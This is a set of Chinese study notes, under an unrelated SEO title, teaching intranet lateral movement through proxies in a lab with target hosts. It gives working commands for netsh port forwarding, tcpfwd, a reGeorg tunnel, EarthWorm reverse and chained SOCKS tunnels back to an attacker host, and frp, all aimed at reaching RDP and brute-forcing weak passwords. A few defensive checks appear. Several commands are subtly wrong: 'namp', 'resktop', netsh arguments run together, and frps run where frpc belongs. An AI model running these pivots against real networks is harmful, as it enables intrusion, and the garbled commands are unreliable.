title wordpress企業(yè)站seo價格
8月9日筆記
什么是代理?
“代理”通常指的是“網(wǎng)絡(luò)代理”,它是一種特殊的網(wǎng)絡(luò)服務(wù),允許一個網(wǎng)絡(luò)終端(一般為客戶端)通過這個服務(wù)與另一個網(wǎng)絡(luò)終端(一般為服務(wù)器)進行非直接的連接。代理服務(wù)器作為中間人,接收來自客戶端的請求,并將這些請求轉(zhuǎn)發(fā)給目標(biāo)服務(wù)器,然后再將從目標(biāo)服務(wù)器接收到的響應(yīng)返回給客戶端。
這是沒有代理時的請求與響應(yīng)。
有代理時的請求與響應(yīng)。
正向代理
正向代理時,由客戶端發(fā)送對某一個目標(biāo)服務(wù)器的請求,發(fā)送到代理服務(wù)器,代理服務(wù)器在中間將請求轉(zhuǎn)發(fā)給該目標(biāo)服務(wù)器,目標(biāo)服務(wù)器將結(jié)果返回給代理服務(wù)器,代理服務(wù)器再將結(jié)果返回給客戶端。
客戶端發(fā)送的所有請求都先經(jīng)過代理服務(wù)器,然后由代理服務(wù)器轉(zhuǎn)發(fā)給目標(biāo)服務(wù)器。使用正向代理時,客戶端是需要配置代理服務(wù)的地址、端口、賬號密碼(如有)等才可使用的。比如翻墻等等。
通過使用代理服務(wù)器,客戶端的真實IP地址可以被隱藏,從而實現(xiàn)一定程度的匿名訪問。
反向代理
反向代理是一種特殊的網(wǎng)絡(luò)代理服務(wù),它位于一組后端服務(wù)器前面,接收客戶端的請求并將這些請求轉(zhuǎn)發(fā)給后端服務(wù)器之一??蛻舳瞬⒉恢苯优c后端服務(wù)器通信,而是通過反向代理服務(wù)器間接訪問。這種配置主要用于負載均衡、緩存、安全性增強以及簡化管理等多種目的。通過反向代理,可以將客戶端的請求分發(fā)到多個后端服務(wù)器以平衡負載,存儲常用的靜態(tài)內(nèi)容以減少對后端服務(wù)器的請求次數(shù),隱藏真實服務(wù)器的IP地址以增加安全性。
正向代理和反向代理的區(qū)別
最核心的不同在于代理的對象不同
正向代理是代理客戶端
反向代理是代理服務(wù)器。
而根據(jù)這核心的區(qū)別,可以知道:代理哪端便可以隱藏哪端(也就是說:正向代理隱藏真實客戶端,反向代理隱藏真實服務(wù)端)。
內(nèi)網(wǎng)代理常見的工具
某些情況下,為保護內(nèi)網(wǎng)安全以及優(yōu)化網(wǎng)站負載服務(wù)端也會使用代理程序代理大量來自客戶端的網(wǎng)絡(luò)請求,反向代理主要面向服務(wù)端服務(wù),客戶端的請求會直接發(fā)給代理服務(wù)器,代理服務(wù)器會轉(zhuǎn)發(fā)至服務(wù)端并將服務(wù)端響應(yīng)返回值客戶端。故而反向代理的過程中,客戶端無法確定真實服務(wù)端地址,僅與代理端進行通信。攻擊者在成功入侵某一臺對外服務(wù)器后也會利用以上代理原理進行內(nèi)網(wǎng)橫向滲透進一步擴大戰(zhàn)果,上傳代理工具至對外服務(wù)器將其改造為跳板機,建立通往內(nèi)網(wǎng)的通信隧道。
netsh端口轉(zhuǎn)發(fā)
netsh是windows系統(tǒng)自帶命令行程序,攻擊者無需上傳第三方工具即可利用netsh程序可進行端口轉(zhuǎn)發(fā)操作,可將內(nèi)網(wǎng)中其他服務(wù)器的端口轉(zhuǎn)發(fā)至本地訪問,如內(nèi)網(wǎng)某臺服務(wù)器的ssh端口可轉(zhuǎn)發(fā)至本地即可通過暴力破解或弱口令方式嘗試登陸目標(biāo)服務(wù)器。
靶機A是web服務(wù)器,靶機B在內(nèi)網(wǎng)中。攻擊者獲取到靶機A的服務(wù)器權(quán)限,靶機B位于內(nèi)網(wǎng)且未映射至互聯(lián)網(wǎng),此時通過利用靶機A自帶命令行程序netsh,netsh可將攻擊者的流量經(jīng)由靶機A轉(zhuǎn)發(fā)至靶機B,使得攻擊者可以訪問到位于內(nèi)網(wǎng)的靶機B。
設(shè)置端口轉(zhuǎn)發(fā)規(guī)則命令:
netsh interface portproxy add v4tov4listenaddress=<靶機A IP地址>listenport=<靶機A端口>connectaddress=<靶機B IP地址>connectport=<靶機B 端口>protocol={tcp|udp}
這樣攻擊者只要使用靶機A的端口就可以訪問靶機B的端口。
刪除端口轉(zhuǎn)發(fā)策略命令
netsh interface portproxy delete v4tov4
2 listenaddress=<靶機A IP地址>
3 listenport=<靶機A 端口>
4 protocol={tcp|udp}
使用以下命令可以確認主機是否被惡意植入了端口轉(zhuǎn)發(fā)策略(反制)
netsh interface portproxy show v4tov4
portfwd端口轉(zhuǎn)發(fā)
portfwd是一款強大的端口轉(zhuǎn)發(fā)工具,支持TCP,UDP,支持IPV4以及IPV6的端口轉(zhuǎn)發(fā)。攻擊者在獲取對外服務(wù)器權(quán)限后為擴大戰(zhàn)果,會上傳端口轉(zhuǎn)發(fā)工具至對外服務(wù)器,獲得更多的可攻擊面。例如將失陷主機的任意可訪問端口轉(zhuǎn)發(fā)至內(nèi)網(wǎng)某臺服務(wù)器的遠程桌面端口,即可通過暴力破解和弱口令的方式嘗試登陸內(nèi)網(wǎng)服務(wù)器。實際環(huán)境下攻擊者利用靶機的漏洞上傳改工具。
portfwd分為兩種:tcpfwd和udpfwd
用法:
用tcp連接將本地端口 1022 映射到 192.168.5.138:3389
---------------------------
tcpfwd 0.0.0.0:1022 192.168.1.77:22 # allow access from all hosts
tcpfwd 127.0.0.1:1022 192.168.1.77:22 # only allow localhost
tcpfwd [::]:1022 192.168.1.77:22 # allow access to port 1022 via both IPv4 and IPv6
-----------------------------------
用udp連接將本地端口 53 映射到 192.168.5.138:3389
-------------------------
udpfwd 0.0.0.0:53 8.8.8.8:53
udpfwd [::]:53 8.8.8.8:53
通過如下命令可以確定進程的可執(zhí)行文件所在位置,并進行清除。(反制)
ls -al /proc/pid
在靶機B上運行如下命令可以看到靶機A與自身的遠程桌面3389端口建立了tcp連接。(反制)
netstat -ano
regeorg正向代理
ReGeorg 是一個用于內(nèi)網(wǎng)穿透的工具,它能夠幫助用戶在受到防火墻或網(wǎng)絡(luò)限制的情況下建立到目標(biāo)網(wǎng)絡(luò)的連接。ReGeorg 主要通過使用 HTTP 協(xié)議作為傳輸層來實現(xiàn)這一目的,因此可以在大多數(shù)網(wǎng)絡(luò)環(huán)境下工作,即使是在那些禁止了其他協(xié)議(如 SSH 或 Telnet)的網(wǎng)絡(luò)中。
攻擊機:kali 192.168.5.15
靶機A(web服務(wù)器):192.168.5.114
靶機B:192.168.5.124
ReGeorg 通常通過 Python 腳本來實現(xiàn)。要使用 ReGeorg,靶機A需要具備 Python 環(huán)境,并安裝必要的依賴包。安裝過程通常包括克隆項目倉庫并安裝所需的 Python 庫。
在攻擊機上執(zhí)行如下命令下載regeorg代理工具包
git clone https://github.com/sensepost/reGeorg.git
在攻擊機上運行socks代理腳本
python reGeorgSocksProxy.py -u http://192.168.5.114:8080/reGeorg-master/tunnel.jsp -p 1088
-u: 指定 HTTP 代理服務(wù)器的 URL 地址,該 URL 地址指向了一個包含 ReGeorg 代理腳本的 Web 服務(wù)器。
-p: 指定本地監(jiān)聽的端口,客戶端可以通過這個端口連接到 SOCKS 代理。
提示georg says, ‘a(chǎn)ll seems fine’說明連接成功,已完成端口復(fù)用。
在攻擊機上配置本地全局代理proxychains,使得本地攻擊流量可通過regeorg創(chuàng)建的http隧道轉(zhuǎn)發(fā)至內(nèi)網(wǎng)其他服務(wù)器。攻擊機自帶proxychains全局代理工具,默認路徑為/etc/proxychains4.conf,編輯配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1088
以上配置使得攻擊機可將支持socks5協(xié)議的攻擊流量通過本地1088端口轉(zhuǎn)發(fā)至靶機A,再通過靶機A轉(zhuǎn)發(fā)至內(nèi)網(wǎng)其他服務(wù)器。
通過靶機A轉(zhuǎn)發(fā)到靶機B的命令:(在攻擊機上運行)
proxychains telnet 192.168.5.124 445
查看靶機A上的網(wǎng)絡(luò)連接,可以看到攻擊機的請求成功實現(xiàn)端口復(fù)用,復(fù)用了java進程創(chuàng)建的端口連接了靶機B的445端口。查看靶機B的網(wǎng)絡(luò)連接無法看到攻擊機ip地址,靶機A作為攻擊機的正向代理。
使用端口掃描工具對靶機B進行端口掃描:
proxychains4 namp -sV -Pn 192.168.5.124
此時在靶機B上看到的所有端口掃描請求源地址均來自靶機A而不是攻擊機。
earthworm反向代理
Earthworm(有時拼寫為 Arthworm)是一套便攜式的網(wǎng)絡(luò)穿透工具,它提供了 socks 代理和端口轉(zhuǎn)發(fā)兩大核心功能,支持正向代理、反向代理、多級代理等多種方式來打通網(wǎng)絡(luò)隧道。Earthworm 能夠在復(fù)雜網(wǎng)絡(luò)環(huán)境下完成網(wǎng)絡(luò)穿透和內(nèi)網(wǎng)橫向滲透的任務(wù)。
利用earthworm反向代理進行內(nèi)網(wǎng)橫向滲透
靶機A: 192.168.5.10
靶機B: 192.168.5.12
攻擊機: 192.168.5.2
工具攻擊機下載:
git clone https://github.com/idlefire/ew.git
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
#在攻擊機本地開啟1080和8888監(jiān)聽端口,并將1080端口收到的流量轉(zhuǎn)發(fā)至8888端口。
使用命令netstat -antlp 可以看到攻擊機本地開啟了1080和8888監(jiān)聽端口。
#在靶機A上上傳earthworm,并運行如下命令連接攻擊機的8888端口,建立與攻擊機的反向代理。
./ew -s rssocks -d vpsip -e 8888
在攻擊機上修改全局代理軟件proxychains的配置文件,默認路徑為/etc/proxychains4.conf。編輯配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1080
實際環(huán)境下攻擊機地址一般為公網(wǎng)vps地址,若為公網(wǎng)vps地址,此時全局代理配置ip應(yīng)設(shè)置為vps地址。
在攻擊機上使用如下命令通過代理隧道探測靶機B的3389端口是否開啟,telnet使用的是tcp協(xié)議,而socks5協(xié)議支持tcp和udp協(xié)議數(shù)據(jù)的傳遞。
proxychains telnet 192.168.5.12 3389
在靶機B上只能看到靶機A的地址與自身3389端口建立了連接,無法看到攻擊機地址。
此時利用全局代理以及靶機A的代理隧道,即使靶機B處于內(nèi)網(wǎng)無法通過外網(wǎng)訪問,也可通過此代理隧道實現(xiàn)遠程登錄靶機B,實現(xiàn)內(nèi)網(wǎng)的橫向移動。
使用如下命令遠程登錄靶機B:
proxychains4 resktop 192.168.5.12
攻擊機彈出了靶機B的遠程桌面端口,此時若靶機B使用了弱密碼或被暴力破解成功即可實現(xiàn)遠程登錄。
使用earthworm多級代理進行內(nèi)網(wǎng)橫向滲透
靶機A: 192.168.5.10
靶機B: 192.168.5.12
靶機C: 192.168.5.16
攻擊機: 192.168.5.2
某些條件下,內(nèi)網(wǎng)某些服務(wù)器無法訪問互聯(lián)網(wǎng),需通過級聯(lián)的方式將可訪問互聯(lián)網(wǎng)的主機作為一級代理連接攻擊機,二級代理連接一級代理主機即可形成通信隧道,攻擊機可通過級聯(lián)的方式將攻擊流量轉(zhuǎn)發(fā)至更深入的內(nèi)網(wǎng)。
在攻擊機上運行如下命令,可在攻擊機本地開啟1080和6666監(jiān)聽端口,并將1080端口收到的流量轉(zhuǎn)發(fā)至6666端口。
./ew -s lcx_listen -l 1080 -e 6666
#在靶機B上運行如下命令,可開啟9999端口的正向代理
./ew -s ssocksd -l 9999
#在靶機A上運行如下命令,同時連接攻擊機的反向代理端口和靶機B的正向代理端口
./ew -s lcx_slave -d 192.168.5.2 -e 6666 -f 192.168.5.12 -g 9999
在攻擊機上使用如下命令通過代理隧道探測靶機C的3389端口是否開啟,telnet使用的是tcp協(xié)議,而socks5協(xié)議支持tcp和udp協(xié)議數(shù)據(jù)的傳遞。
proxychains telnet 192.168.5.16 3389
此時登錄靶機C查看網(wǎng)絡(luò)連接會看到telnet請求觸發(fā)的tcp連接發(fā)起端為靶機B。說明攻擊機發(fā)起的請求經(jīng)由靶機A轉(zhuǎn)發(fā)至靶機B,有經(jīng)由靶機B的正向代理轉(zhuǎn)發(fā)至靶機C。
proxychains4 resktop 192.168.5.16
#攻擊機彈出了靶機C的遠程桌面端口,此時若靶機C使用了弱密碼或被暴力破解成功即可實現(xiàn)遠程登錄。
frp反向代理
frp
(Fast Reverse Proxy)是一個高性能的反向代理應(yīng)用,用于實現(xiàn)內(nèi)網(wǎng)穿透,可以在復(fù)雜網(wǎng)絡(luò)環(huán)境下幫助用戶建立網(wǎng)絡(luò)連接。frp
主要用于解決內(nèi)網(wǎng)服務(wù)器無法被外部網(wǎng)絡(luò)直接訪問的問題,通過在公網(wǎng)服務(wù)器上部署 frp
服務(wù)器端,并在內(nèi)網(wǎng)服務(wù)器上部署 frp
客戶端,實現(xiàn)內(nèi)外網(wǎng)之間的通信。
- 服務(wù)器端 (
frps
):部署在公網(wǎng)服務(wù)器上,負責(zé)接收客戶端的連接請求,并將請求轉(zhuǎn)發(fā)到對應(yīng)的內(nèi)網(wǎng)服務(wù)器。 - 客戶端 (
frpc
):部署在內(nèi)網(wǎng)服務(wù)器上,負責(zé)與服務(wù)器端建立連接,并將數(shù)據(jù)轉(zhuǎn)發(fā)給服務(wù)器端。
但此類操作存在較大安全隱患,會將內(nèi)網(wǎng)服務(wù)直接暴露在公網(wǎng)。
靶機A: 192.168.5.10
靶機B: 192.168.5.12
攻擊機: 192.168.5.2
工具下載
wget https://github.com/fatedier/frp/releases/download/v0.35.1/frp_0.35.1_linux_amd64.tar.gz
首先需要修改兩個配置文件:frps.ini和frpc.ini
frps.ini修改內(nèi)容:
[common]
bind_addr = 0.0.0.0
bind_port = 33310
allow_ports = 33310-33410
token = 52010 #隨便自己改
在攻擊機(公網(wǎng)服務(wù)器)上啟動服務(wù)端
./frps -c frps.ini
frpc.ini修改內(nèi)容:
[common]
server_addr = 192.168.5.2 #指定了 frp 服務(wù)器端的 IP 地址。
server_port = 33310 #指定了 frp 服務(wù)器端監(jiān)聽的端口
token = 52010[socks_proxy]
type = tcp
plugin = socks5
remote_port = 33311 #指定了在服務(wù)器端公開的端口,客戶端可以通過這個端口連接到 SOCKS5 代理。
local_port = 33311 #指定了本地監(jiān)聽的端口,客戶端將通過這個端口與 SOCKS5 代理進行通信。
在內(nèi)網(wǎng)靶機A(內(nèi)網(wǎng)服務(wù)器)上反向代理客戶端
./frps -c frps.ini
在攻擊機上修改全局代理軟件proxychains的配置文件,默認路徑為/etc/proxychains4.conf,配置socks5代理地址和端口如下:
socks5 127.0.0.1 33311
proxychains4 resktop 192.168.5.12
攻擊機彈出了靶機B的遠程桌面端口,此時若靶機B使用了弱密碼或被暴力破解成功即可實現(xiàn)遠程登錄。
注意:這個是在本地進行測試的,在公網(wǎng)服務(wù)器上的話,frps.ini和frpc.ini配置跟上面不一樣。